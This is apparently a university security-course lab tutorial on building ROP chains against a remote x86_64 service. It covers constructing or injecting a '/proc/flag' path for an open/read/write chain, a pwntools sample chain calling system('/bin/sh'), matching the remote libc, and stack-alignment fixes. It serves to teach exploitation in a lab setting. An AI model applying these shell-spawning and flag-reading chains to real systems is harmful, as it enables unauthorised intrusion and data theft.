Tut07: ROP against Remote Service
In Tut06-2, we have exploited the x86_64, DEP-enabled binary without explicit leaks provided.
Step 0. Understanding the remote
In the second payload, we have invoked a sequence of calls to read the flag as follows:
(assume: symlinked "anystring" -> "/proc/flag")
1) open("anystring", 0)
2) read(3, tmp, 1040)
3) write(1, tmp, 1040)
However, symbolic-linking to a file is not allowed in the remote
setting which we don't have an access to.
In other words, we can either find an existing /proc/flag
string in the memory, or construct it ourselves.
$ nc [LAB_SERVER_IP] 10701
[Task] Before you proceed further, make sure your exploit on Tut06-2 works against this remote service! Yet it should not print out the flag as it fails to open
/proc/flag
)
Step 1. Constructing /proc/flag
Unfortunately, it's unlikely that neither the binary, nor libc has the
/proc/flag
string. However, by ROP-ing, we can construct any
string we want. Let's search for a snippet of the string from the memory.
In a GDB session, try:
> search "/proc"
libc-2.27.so 0x7ffff7867a1d 0x65732f636f72702f ('/proc/se')
libc-2.27.so 0x7ffff78690ed 0x65732f636f72702f ('/proc/se')
...
> search "flag"
libc-2.27.so 0x7ffff77f29e3 insb byte ptr [rdi], dx /* 'flags' */
libc-2.27.so 0x7ffff77f54ad insb byte ptr [rdi], dx /* 'flags' */
...
Our plan is to memcpy()
these two strings to a temporary, writable memory for concatenation.
memcpy(tmp2, PTR_TO_PROC, len("/proc/"))
memcpy(tmp2+len("/proc/"), PTR_TO_FLAG, len("flag"))
When determining the memcpy
address in your libc library,
you might notice that there are multiple memcpy()
-like functions
embedded in the libc library. For example, in the arch distribution,
its libc provides numerous implementation of memcpy()
.
In fact, it is one kind of IFUNC
which allows us to select an optimized version of the same function
based on the hardware capability at runtime.
$ readelf -a /usr/lib/libc.so.6 | grep memcpy | grep -v wmem
1215: 0000000000090da0 193 IFUNC GLOBAL DEFAULT 16 memcpy@@GLIBC_2.14
1217: 00000000000a9280 44 FUNC GLOBAL DEFAULT 16 memcpy@GLIBC_2.2.5
1760: 000000000010d7a0 193 IFUNC GLOBAL DEFAULT 16 __memcpy_chk@@GLIBC_2.3.4
1232: 0000000000000000 0 FILE LOCAL DEFAULT ABS memcpy.c
1233: 0000000000090da0 193 IFUNC LOCAL DEFAULT 16 memcpy
1234: 0000000000090da0 193 FUNC LOCAL DEFAULT 16 __new_memcpy_ifunc
2404: 0000000000000000 0 FILE LOCAL DEFAULT ABS memcpy_chk.c
2405: 000000000010d7a0 193 FUNC LOCAL DEFAULT 16 __memcpy_chk_ifunc
3254: 00000000000a9350 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_sse2_unaligned_erms
3431: 00000000000a92e0 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_erms
3588: 0000000000090da0 193 IFUNC LOCAL DEFAULT 16 __new_memcpy
3637: 00000000000a92f0 49 FUNC LOCAL DEFAULT 16 __memcpy_erms
3664: 0000000000165a70 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx_unaligned_erms
3735: 00000000000a9360 765 FUNC LOCAL DEFAULT 16 __memcpy_sse2_unaligned_erms
3739: 000000000016a7f0 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx512_unaligned_erms
3764: 00000000001457b0 10966 FUNC LOCAL DEFAULT 16 __memcpy_ssse3_back
3981: 00000000000a9270 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_sse2_unaligned
4077: 00000000001457a0 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_ssse3_back
4083: 0000000000169d80 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx512_no_vzeroupper
4411: 000000000016a800 1248 FUNC LOCAL DEFAULT 16 __memcpy_avx512_unaligned_erms
4505: 000000000016a780 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx512_unaligned
4510: 0000000000090da0 193 IFUNC LOCAL DEFAULT 16 __GI_memcpy
4760: 0000000000140220 10695 FUNC LOCAL DEFAULT 16 __memcpy_ssse3
4909: 0000000000140210 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_ssse3
5062: 00000000000a9280 44 FUNC LOCAL DEFAULT 16 __memcpy_sse2_unaligned
5124: 0000000000165a00 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx_unaligned
5126: 000000000016a790 62 FUNC LOCAL DEFAULT 16 __memcpy_avx512_unaligned
5267: 0000000000165a80 984 FUNC LOCAL DEFAULT 16 __memcpy_avx_unaligned_erms
5298: 0000000000169d90 1855 FUNC LOCAL DEFAULT 16 __memcpy_avx512_no_vzeroupper
5774: 0000000000165a10 51 FUNC LOCAL DEFAULT 16 __memcpy_avx_unaligned
6221: 0000000000090da0 193 IFUNC GLOBAL DEFAULT 16 memcpy@@GLIBC_2.14
7240: 00000000000a9280 44 FUNC GLOBAL DEFAULT 16 memcpy@GLIBC_2.2.5
7873: 000000000010d7a0 193 IFUNC GLOBAL DEFAULT 16 __memcpy_chk
When a memcpy()
is invoked in straight without using the dynamic linker,
you invoke a dispatcher that checks the hardware capability
and picks the best candidate for the execution. In other words,
to invoke a real memcpy()
, you have to invoke one of FUNC
symbols
(e.g., memcpy@GLIBC_2.2.5
).
And your final payload would be:
1) open(tmp2, 0); // tmp2 now contains concatenated /proc/flag string
2) read(3, tmp, 1040);
3) write(1, tmp, 1040);
Perhaps, you can try prepending memcpy()
calls,
but you would realize that the challenge binary
only accepts 256-byte user input.
[Task] Try to exploit the program once again; it is now a three-stage exploit:
- use the leaked addresses to find the desired functions and memory
- concatenate the
/proc/flag
string- open() + read() + write()
Can you successfully get the flag from the remote server?
Step 2. Injecting /proc/flag
In fact, there is a much easier method.
As the program flow has been hijacked,
we can directly inject our input (i.e., "/proc/flag"
)
to an arbitrary memory region
by simply invoking read()
.
read(0, tmp2, 11);
[Task] Could you tweak your exploit to accept
"/proc/flag"
and save it totmp2
?
Note when feeding multiple inputs to the remote service,
you may want to briefly pause the exploit in between by
sleep()
or wait until the previous input is properly processed
(e.g., using recvuntil()
).
Otherwise, the current payload could be read along with your earlier ones.
Another option to avoid the problem is to always send a full-sized input,
which is as large as the read()
size (i.e., 256-bytes in the start()
of the binary), so that it forces read()
to return before accepting your
next input.
Tip. Using pwntools. You can also automate the ROP programming process. Take a look at the below sample, then you will have a good idea about how to utilize this.
from pwn import *
context.arch = "x86_64"
os.environ["XDG_CACHE_HOME"] = "./" # override pwntools's default cache_dir
# to your secret tmp directory
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0xdeadb000 # put the leaked libc base
rop = ROP(libc)
# fill the buffer
rop.raw("A"*44)
# system("/bin/sh")
rop.system(next(libc.search('/bin/sh\x00')))
# exit(0)
rop.exit(0)
# get the payload
payload = rop.chain()
Also, while writing an ROP chain, it's a good idea to check its payload constantly by using dump().
print(rop.dump())
0x0000: 'AAAAAAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
0x0008: 'AAAAAAAA'
0x0010: 'AAAAAAAA'
0x0018: 'AAAAAAAA'
0x0020: 'AAAAAAAA'
0x0028: 'AAAAaaaa'
0x0030: 0xdeafc55f pop rdi; ret
0x0038: 0xdec8f0fa [arg0] rdi = 3737710842
0x0040: 0xdeb2a4e0 system
0x0048: 0xdeafc55f pop rdi; ret
0x0050: 0x0 [arg0] rdi = 0
0x0058: 0xdeb1e1d0 exit
The ROP payload correctly constructed the chain
by using the pop rdi; ret
gadget in libc!
If you feel ambitious,
you can organize the ROP chain
with a cleaner manner
by using the ROP module.
Tip 1. Launching the Remote Binary
The remote environment might use different libraries (e.g., libc),
so your payload relying on gadgets outside of the binary module
would not work as expected.
For example, if you are using a different distribution
(or under different minor/major version),
you have to make sure you are using the exactly same
libraries first.
One simple way to avoid this problem is to copy and use the libraries from the remote server.
[remote] $ ldd target-seccomp
linux-vdso.so.1 (0x00007ffdb5cba000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f6cc3f72000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6cc3b81000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6cc41be000)
$ scp lab07@[ip]:/lib/x86_64-linux-gnu/libc.so.6 .
$ scp lab07@[ip]:/lib64/ld-linux-x86-64.so.2 .
By using the dynamic linker and the libc library,
you can launch target-seccomp
as if it runs on the remote server:
$ LD_LIBRARY_PATH=. ./ld-linux-x86-64.so.2 ./target-seccomp
IOLI Crackme Level 0x00
Password:
...
$ cat /proc/[pid]/maps | grep libc
7f7792d50000-7f7792f37000 r-xp 00000000 08:01 /tmp/tut07-remote/libc.so.6
7f7792f37000-7f7793137000 ---p 001e7000 08:01 /tmp/tut07-remote/libc.so.6
7f7793137000-7f779313b000 r--p 001e7000 08:01 /tmp/tut07-remote/libc.so.6
7f779313b000-7f779313d000 rw-p 001eb000 08:01 /tmp/tut07-remote/libc.so.6
With LD_LIBRARY_PATH=.
, you commended the linker
to lookup the libraries in the current working directory
when preparing ./target-seccomp
for execution.
As shown above,
the maps
indicates that libc.so.6
in the current directory
is used instead of the system's libc.
In python, you can launch the program exactly same as the command line:
p = process(["./ld-linux-x86-64.so.2", "./target-seccomp"],
env={"LD_LIBRARY_PATH": "."})
Note that if you are using the same distribution, the dynamic linker is unlikely needed to launch the binary.
Tip 2. Segmentation Fault in libc Functions
Recent ABI convention is changed to follow 16-byte stack alignment in all architecture, meaning that the compiler can take advantage of modern vector instructions for stack variables. If your ROP payload didn't respect that alignment, you might see such a situation below:
Program received signal SIGSEGV, Segmentation fault.
0x00007fcd188aa6ee in ?? () from ./libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────[ REGISTERS ]──────────────────────
RAX 0x7fcd18c33760 ← 0x0
RBX 0x7fcd18c38760 (_IO_2_1_stdout_) ← 0xfbad2887
RCX 0x7fcd1895c264 (write+20) ← cmp rax, -0x1000
RDX 0x7ffd9d1bd4c8 ← 0x3000000008
RDI 0x7ffd9d1bae08 ← 0xfbad8004
RSI 0x400c9c ← push rax
R8 0x17
R9 0x3e8
R10 0x4
R11 0x246
R12 0xffffffff
R13 0x7ffd9d1bd678 ← 0x1c
R14 0x7fcd18c38760 (_IO_2_1_stdout_) ← 0xfbad2887
R15 0xfbad2887
RBP 0x7ffd9d1bd4b8 → 0x7ffd9d1bd5c8 ← 0x4141414141414141 ('AAAAAAAA')
RSP 0x7ffd9d1badd8 → 0x7ffd9d1baeb9 ← 0x0
RIP 0x7fcd188aa6ee ← movaps xmmword ptr [rsp + 0x50], xmm0
──────────────────────[ DISASM ]──────────────────────
► 0x7fcd188aa6ee movaps xmmword ptr [rsp + 0x50], xmm0
0x7fcd188aa6f3 mov qword ptr [rsp + 0x108], rax
0x7fcd188aa6fb call vfprintf <0x7fcd188a7420>
...
In this case, printf
attempts to copy a variable in xmm0
to the stack but rsp = 0x7ffd9d1badd8
is 8-byte aligned
at the moment (because of your exploit).
The solution is very simple: you can lift one more slot (8-byte)
in the stack by inserting one nop
gadget
(i.e., one ret
instruction)
in the ROP payload!
Good luck!